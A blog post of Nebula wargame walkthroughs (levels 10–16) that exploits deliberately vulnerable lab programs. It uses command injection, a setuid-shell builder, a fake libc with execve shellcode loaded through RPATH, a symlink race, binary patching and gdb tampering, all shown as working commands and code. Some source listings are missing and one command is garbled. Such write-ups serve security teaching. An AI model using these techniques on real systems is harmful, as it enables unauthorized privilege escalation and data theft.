Monday, September 3, 2012

nebula level16

Level details:
There is a perl script running on port 1616.
Source code:

Once again we're dealing with command injection, but this time you'll notice that there's some restrictions to our input. The username is first converted to uppercase then removed everything after the first space. We can overcome the first restriction easily using the case modification features that bash provides (read "Case modification" in the bash man page). Here's a quick test:
level16@nebula:~$ VAR="HACK THE PLANET"
level16@nebula:~$ echo ${VAR,,}
hack the planet
So far so good.
Now the second restriction, no spaces. Looking at where the $username variable is, we'll need to close egrep's pattern's double-quote:
"
But egrep also needs an input file, and we don't want it to read from the standard input since we don't have control over that. But a second argument requires a space to be inserted. What we can do is pipe in /dev/null to the standard input:
"</dev/null
Now we need to inject our command. Since no spaces are allowed, we can inject a minimal command that invokes a shell script. Let's assume for a moment that we have the shell script in /tmp/mkshell that makes a SUID shell for us. The input at this point looks like:
"</dev/null;/tmp/mkshell;
Now we need to close up. We can ignore everything that follows by marking it as a comment.
"</dev/null;/tmp/mkshell;#
But you do remember that everything gets converted to uppercase, right? The actual command executed will be:
"</DEV/NULL;/TMP/MKSHELL;#
There's not much we can do about the /DEV/NULL, except put in a non-existent file. bash won't execute the egrep command, but it will execute everything else. /DEV/NULL is already non-existent so we might just as well leave it.
We can put /TMP/MKSHELL in a variable and use case modification as explained above.
"</dev/null;a=/tmp/mkshell;${a,,};#
After uppercase conversion, this looks like:
"</DEV/NULL;A=/TMP/MKSHELL;${A,,};#
Now we write /tmp/mkshell.
level16@nebula:~$ cat > /tmp/mkshell
#!/bin/sh

cat << EOF > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
EOF
cc -o /tmp/flag16_sh /tmp/shell.c
chmod +s /tmp/flag16_sh
Now, just like level07, we need to URL-encode the input before submitting the HTTP request. Let's get that flag.
level16@nebula:~$ username=$(php -r 'echo urlencode("\" lethal_data              level16@nebula:~$ wget -q -O - --post-data=lethal_data 'localhost:1616/index.cgi'Login resulsYour login failed
Would you like a cookie?

level16@nebula:~$ /tmp/flag16_sh sh-4.2$ id uid=983(flag16) gid=1017(level16) egid=983(flag16) groups=983(flag16),1017(level16) sh-4.2$ getflag You have successfully executed getflag on a target account
A few more flags and we'll be on our way to protostar ;)

~ Dmitry

nebula level15

Level details:
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to "compile a shared library in linux" and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)
Let's try running it before getting a strace, to see if we can get any other information out of it:
level15@nebula:~$ ~flag15/flag15
strace it!
Nope... Let's strace it then:
level15@nebula:~$ strace ~flag15/flag15
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x9d1e000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775f000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=20413, ...}) = 0
mmap2(NULL, 20413, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb775a000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1713640, ...}) = 0
mmap2(NULL, 1723100, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x63e000
mmap2(0x7dd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19f) = 0x7dd000
mmap2(0x7e0000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7e0000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7759000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7759900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x7dd000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x21d000, 4096, PROT_READ)     = 0
munmap(0xb775a000, 20413)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775e000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?
That's weird, it tries to open() a bunch of libraries from /var/tmp/flag15 before actually mapping the executable contents into memory... Let's see what objdump gives us:
level15@nebula:~$ objdump -p ~flag15/flag15

/home/flag15/flag15:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000005d4 memsz 0x000005d4 flags r-x
    LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
         filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

Ah, so the binary has been linked with -rpath. Easy enough, we'll have to roll our own libc.so.6 in /var/tmp/flag15 and make it give us a shell... Let's try just that:
level15@nebula:~$ mkdir /var/tmp/flag15/
level15@nebula:~$ pushd /var/tmp/flag15/
/var/tmp/flag15 ~
level15@nebula:/var/tmp/flag15$ cat > libc.c
#include <unistd.h>
#include <stdlib.h>

void __attribute__((constructor)) init()
{
        int euid = geteuid();

        setresuid(euid, euid, euid);
        system("sh");
}
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol geteuid, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
Apparently there's some symbol versioning conflicts between the original libc and the one we just compiled. We'll have to get a shell without relying on the real libc, which means we'll have to write some shellcode :)
level15@nebula:/var/tmp/flag15$ cat > shell.S
.section .text
.globl shell
shell:
mov $49, %eax    # geteuid
int $0x80

mov %eax, %ebx
mov %eax, %ecx
mov %eax, %edx
mov $164, %eax    # setresuid
int $0x80

mov $sh_str, %ebx
xor %edx, %edx
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax      # execve
int $0x80

.section .data
sh_str: .ascii "/bin/sh\0"
And our constructor function:
level15@nebula:/var/tmp/flag15$ cat > libc.c
void shell(void);

void __attribute__((constructor)) init()
{
        shell();
}
Now let's compile it without linking to libc:
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -nostdlib -o libc.so.6 libc.c shell.S
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
sh-4.2$ getflag
You have successfully executed getflag on a target account
inc flags ;)

~ Dmitry

nebula level14

Level details:
This program resides in /home/flag14/flag14 . It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
This time we will have to figure out how the encryption routine works to come up with a decryption routine in order to decrypt the token.
The encryption algorithm turns out to be so easy that you can figure it out by simply experimenting with the binary. But if we were to employ a systematic approach, we'd have to analyze the binary, which is exactly what we will do. This time we'll use objdump as our disassembler. Using objdump -D to disassemble, we find that the encryption routine lies in <main>:
level14@nebula:~$ objdump -dMintel ~flag14/flag14

/home/flag14/flag14:     file format elf32-i386

...

08048464 <main>:
...
 8048482:       c7 44 24 2c 00 00 00    mov    DWORD PTR [esp+0x2c],0x0
...
 80484e1:       90                      nop
 80484e2:       c7 44 24 08 40 00 00    mov    DWORD PTR [esp+0x8],0x40
 80484e9:       00
 80484ea:       8d 44 24 3c             lea    eax,[esp+0x3c]
 80484ee:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80484f2:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80484f9:       e8 52 fe ff ff          call   8048350 <read@plt>
 80484fe:       89 44 24 34             mov    DWORD PTR [esp+0x34],eax
 8048502:       83 7c 24 34 00          cmp    DWORD PTR [esp+0x34],0x0
 8048507:       7f 0c                   jg     8048515 <main+0xb1>
 8048509:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048510:       e8 6b fe ff ff          call   8048380 <exit@plt>
 8048515:       c7 44 24 30 00 00 00    mov    DWORD PTR [esp+0x30],0x0
 804851c:       00
 804851d:       eb 29                   jmp    8048548 <main+0xe4>
 804851f:       8d 44 24 3c             lea    eax,[esp+0x3c]
 8048523:       03 44 24 30             add    eax,DWORD PTR [esp+0x30]
 8048527:       0f b6 00                movzx  eax,BYTE PTR [eax]
 804852a:       89 c2                   mov    edx,eax
 804852c:       8b 44 24 2c             mov    eax,DWORD PTR [esp+0x2c]
 8048530:       01 d0                   add    eax,edx
 8048532:       89 c2                   mov    edx,eax
 8048534:       8d 44 24 3c             lea    eax,[esp+0x3c]
 8048538:       03 44 24 30             add    eax,DWORD PTR [esp+0x30]
 804853c:       88 10                   mov    BYTE PTR [eax],dl
 804853e:       83 44 24 2c 01          add    DWORD PTR [esp+0x2c],0x1
 8048543:       83 44 24 30 01          add    DWORD PTR [esp+0x30],0x1
 8048548:       8b 44 24 30             mov    eax,DWORD PTR [esp+0x30]
 804854c:       3b 44 24 34             cmp    eax,DWORD PTR [esp+0x34]
 8048550:       7c cd                   jl     804851f <main+0xbb>
 8048552:       8b 44 24 34             mov    eax,DWORD PTR [esp+0x34]
 8048556:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804855a:       8d 44 24 3c             lea    eax,[esp+0x3c]
 804855e:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048562:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048569:       e8 32 fe ff ff          call   80483a0 <write@plt>
 804856e:       89 44 24 38             mov    DWORD PTR [esp+0x38],eax
 8048572:       83 7c 24 38 00          cmp    DWORD PTR [esp+0x38],0x0
 8048577:       0f 8f 64 ff ff ff       jg     80484e1 <main+0x7d>
...
The above is the C equivalent of a for loop inside a do-while loop. The input is being read in 64 (0x40) byte chunks, then each byte is added the value of it's (global) offset. (by global offset I mean that the offset is preserved across different chunks.)

The C equivalent code would look like:
int c = 0;
int i;
int rd;
unsigned char buffer[64];

do {
    rd = read(STDIN_FILENO, buffer, sizeof(buffer));
    if(rd <= 0)
        exit(0);

    for(i = 0; i < rd; i++)
        buffer[i] += c++;
} while(write(STDOUT_FILENO, buffer, rd) > 0);
Like I said, we could deduce the above routine by using purely observational analysis:
level14@nebula:~$ ~flag14/flag14 -e
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno9
Constructing the decryption routine consists of changing the += to -=
If you've noticed, we can reuse the flag14 binary to do the decryption for us by applying a simple patch here:
 8048530:       01 d0                   add    eax,edx
 8048532:       89 c2                   mov    edx,eax
We could change the add to a sub, but then we'd have to negate the result (because we would essentially be computing c - buffer[i], while we need -(c - buffer[i]) = buffer[i] - c). But we can't fit the 'neg eax' (2 bytes) and still put the result in edx. We'll have to come up with a better patch.
What if we could simply patch in 'sub edx, eax' and nop out the 'mov edx, eax' that follows? 2 bytes for the sub and 2 bytes for the nops, seems good.
But we can still do better... We can nop out the 'add eax, edx' and put the 'sub edx, eax' instead of 'mov edx, eax'. That's still 4 bytes, but notice that we can reuse the ModR/M byte of the mov instruction for our sub. That's 3 bytes:
level14@nebula:~$ # nop = 0x90
level14@nebula:~$ # sub edx, eax = 0x29 0xc2
level14@nebula:~$ echo -ne '\x90\x90\x29' > patch
level14@nebula:~$ cp ~flag14/flag14 flag14_decrypt
level14@nebula:~$ dd if=patch of=flag14_decrypt bs=1 seek=1328 conv=notrunc
3+0 records in
3+0 records out
3 bytes (3 B) copied, 0.000137174 s, 21.9 kB/s
level14@nebula:~$ ./flag14_decrypt -e < ~flag14/token
8457c118-887c-4e40-a5a6-33a25353165
                                   ▒level14@nebula:~$ su flag14 -c getflag
Password:
You have successfully executed getflag on a target account
We got another flag for just 3 bytes ;)

~ Dmitry

nebula level13

Level details:
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
This one is quite nice. Source code:

This program requires us to run it with a UID of 1000 in order to print the token. But let's think where that token actually comes from. The fact that not all of the source code is shown indicates that the token may be somehow generated (or even hardcoded) and then printed to us. The flag13 binary being SUID serves no purpose. We can easily reverse engineer how the token is generated. You could go for a static analysis approach and use a disassembler (I prefer IDA). This is however one of the cases where a dynamic approach is ideal. Since we don't need the elevated UID from the setuid bit, we can simply make getuid return 1000 ourselves. This could be done using LD_PRELOAD and writing our own getuid function in a library, but there's an even easier way. Simply use a debugger and modify the return value:
level13@nebula:~$ gdb -q ~flag13/flag13
Reading symbols from /home/flag13/flag13...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080484c4 <+0>:     push   %ebp
   0x080484c5 <+1>:     mov    %esp,%ebp
   0x080484c7 <+3>:     push   %edi
   0x080484c8 <+4>:     push   %ebx
   0x080484c9 <+5>:     and    $0xfffffff0,%esp
   0x080484cc <+8>:     sub    $0x130,%esp
   0x080484d2 <+14>:    mov    0xc(%ebp),%eax
   0x080484d5 <+17>:    mov    %eax,0x1c(%esp)
   0x080484d9 <+21>:    mov    0x10(%ebp),%eax
   0x080484dc <+24>:    mov    %eax,0x18(%esp)
   0x080484e0 <+28>:    mov    %gs:0x14,%eax
   0x080484e6 <+34>:    mov    %eax,0x12c(%esp)
   0x080484ed <+41>:    xor    %eax,%eax
   0x080484ef <+43>:    call   0x80483c0 
   0x080484f4 <+48>:    cmp    $0x3e8,%eax
   0x080484f9 <+53>:    je     0x8048531 
0x080484fb <+55>: call 0x80483c0 0x08048500 <+60>: mov $0x80486d0,%edx 0x08048505 <+65>: movl $0x3e8,0x8(%esp) 0x0804850d <+73>: mov %eax,0x4(%esp) 0x08048511 <+77>: mov %edx,(%esp) 0x08048514 <+80>: call 0x80483a0 ---Type to continue, or q to quit---q Quit (gdb) break *main+48 Breakpoint 1 at 0x80484f4 (gdb) commands 1 Type commands for breakpoint(s) 1, one per line. End with a line saying just "end". >set $eax = 1000 >c >end (gdb) r Starting program: /home/flag13/flag13 Breakpoint 1, 0x080484f4 in main () your token is b705702b-76a8-42b0-8844-3adabbe5ac58 [Inferior 1 (process 1330) exited with code 063] (gdb)
And there's our token :)
Keep in mind that when debugging a SUID binary, it actually runs as a normal binary, effectively dismissing the setuid bit. And LD_PRELOAD wouldn't work with a SUID binary.

Now go ahead and get the flag:
level13@nebula:~$ su flag13 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry

nebula level12

Level details:
There is a backdoor process listening on port 50001.
Source code:
This one is super easy. It's a service written in lua that asks you for a password. The password's SHA-1 hash is generated and compared against a hardcoded hash. This is misleading, because the real problem resides in the hash function itself. The password variable is put in the command that generates the SHA-1 hash as is. Thus this is a simple command injection vulnerability.
level12@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level12@nebula:~$ echo '; cc -o /tmp/flag12_sh /tmp/shell.c; chmod +s /tmp/flag12_sh; echo' | nc localhost 50001
Password: Better luck next time
level12@nebula:~$ /tmp/flag12_sh
sh-4.2$ id
uid=987(flag12) gid=1013(level12) egid=987(flag12) groups=987(flag12),1013(level12)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Still worth a flag though.

~ Dmitry

nebula level11

Level description:
The /home/flag11/flag11 binary processes standard input and executes a shell command.
Source code:

The binary reads a 'header' which is simply the length of the command to be executed, then the command, and then executes the command. The problem is that we need to encrypt the command we send. The decryption routine in the 'process' function is a simple stream cipher which uses XOR. The key is derived by the length and the plaintext:
void process(char *buffer, int length)
{
 unsigned int key;
 int i;

 key = length & 0xff;

 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
        setgid(getgid());
        setuid(getuid());
 system(buffer);
}
So in order to encrypt the command, we need to know the length and the plaintext, which we both have beforehand.
Another thing to notice is that if we provide a command shorter than 1024 bytes, the fread call fails. This is because it specifies the size of an element as the whole command length, and tries to read 1 element. But then it checks whether fread returned 'length' elements or not. This isn't always possible. The fread call will only ever return 0 or 1. Now in the latter case, you could encrypt a 1-byte command and send it, but there's no NULL terminator after it (or other ways to discard the junk that follows).

The other branch of code reads our encrypted command in 1024 byte chunks. One 1024 byte is enough. Our encryption routine needs to derive the key and XOR it with the command bytes. As seen in the source code, the key is first set to the least significant byte of the command length, then it's subtracted the value of the last command byte encrypted. The command encryption code is as follows:
level11@nebula:~$ cat > pwn.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int length = 1024;
    char buffer[1024];
    unsigned int key;
    int i;

    if(argc != 2)
        return EXIT_FAILURE;

    strncpy(buffer, argv[1], 1024);

    key = length & 0xff;
    for(i = 0; i < length; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }

    puts("Content-Length: 1024");
    fwrite(buffer, 1, length, stdout);

    return EXIT_SUCCESS;
}
level11@nebula:~$ make pwn
cc     pwn.c   -o pwn
Using it is indeed very easy. Keep in mind that because of the way the second code branch works, we need to specify the TEMP environment variable. This is where the flag11 binary will store the temporary file in which our command will be put.
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ ./pwn getflag | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
But we won't be satisfied without a SUID shell :)
level11@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ ./pwn 'cc -o /tmp/flag11_sh /tmp/shell.c; chmod +s /tmp/flag11_sh' | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
level11@nebula:~$ /tmp/flag11_sh
sh-4.2$ id
uid=988(flag11) gid=1012(level11) groups=988(flag11),1012(level11)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Let's go get some other flags...

~ Dmitry

nebula level10

Level details:
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
Source code:

This program's purpose is to send a file to the specified host, if you have read access to the file. The access check however, is implemented poorly. The access man page warns us that there might exist a race condition if the above check is implemented:
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process's effective user ID to the real ID and then call open(2).)
We need to read the ~flag10/token. In order to successfully exploit the flag10 binary, we will make it check the access of a symbolic link which is continuously changing from a legit file to ~flag10/token, in the hope that it will change from the legit file to the actual token file during the time between the access() system call and the open() system call.
level10@nebula:~$ while true; do ln -sf /dev/null token; ln -sf ~flag10/token token; done &
[1] 11039
level10@nebula:~$ nc.traditional -l -p 18211 > loot & # traditional netcat FTW!
[2] 14719
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!
[2]+  Done                    nc.traditional -l -p 18211 > loot
level10@nebula:~$ kill -9 11039 # cleanup
level10@nebula:~$ cat fl
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
[1]+  Killed                  while true; do
    ln -sf /dev/null token; ln -sf ~flag10/token token;
done
Now go ahead and get the flag :)
level10@nebula:~$ su flag10 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry